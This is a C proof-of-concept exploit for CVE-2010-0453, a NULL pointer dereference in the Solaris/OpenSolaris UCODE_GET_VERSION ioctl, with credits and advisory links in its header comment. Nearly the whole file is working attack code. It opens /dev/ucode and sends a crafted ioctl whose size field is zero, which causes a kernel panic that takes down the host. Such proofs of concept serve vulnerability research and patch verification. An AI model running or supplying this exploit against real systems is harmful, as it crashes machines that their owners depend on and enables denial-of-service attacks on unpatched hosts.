Solaris/Open Solaris UCODE_GET_VERSION IOCTL - Denial of Service

/*
 * cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION
 * ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris:
 *
 * http://www.trapkit.de/advisories/TKADV2010-001.txt
 * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453
 *
 * Greets to Tobias Klein for discovering the vulnerability and for his
 * detailed (as always) advisory.
 *
 * $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUF_SIZE            64
#define UCODE_DEV           "/dev/ucode"

#define UCODE_IOC           (('u' << 24) | ('c' << 16) | ('o' << 8))
#define UCODE_GET_VERSION   (UCODE_IOC | 0)

typedef enum ucode_errno
{
    EM_OK,
    EM_FILESIZE,
    EM_OPENFILE,
    EM_FILEFORMAT,
    EM_HEADER,
    EM_CHECKSUM,
    EM_INVALIDARG,
    EM_NOMATCH,
    EM_HIGHERREV,
    EM_NOTSUP,
    EM_UPDATE,
    EM_SYS,
    EM_NOVENDOR,
    EM_NOMEM
} ucode_errno_t;

struct ucode_get_rev_struct
{
    uint32_t *ugv_rev;
    int ugv_size;
    ucode_errno_t ugv_errno;
};

int
main()
{
    int fd, ret;
    uint32_t buf[BUF_SIZE];
    struct ucode_get_rev_struct in_h;

    memset(buf, 0x41, BUF_SIZE);

    in_h.ugv_rev = buf;
    in_h.ugv_size = 0;

    fd = open(UCODE_DEV, O_RDONLY);
    ret = ioctl(fd, UCODE_GET_VERSION, &in_h);

    printf("[+] ret = %d\n", ret);
    printf("[+] ugv_errno = %d\n", in_h.ugv_errno);

    close(fd);
    return ret;
}

/* EOF */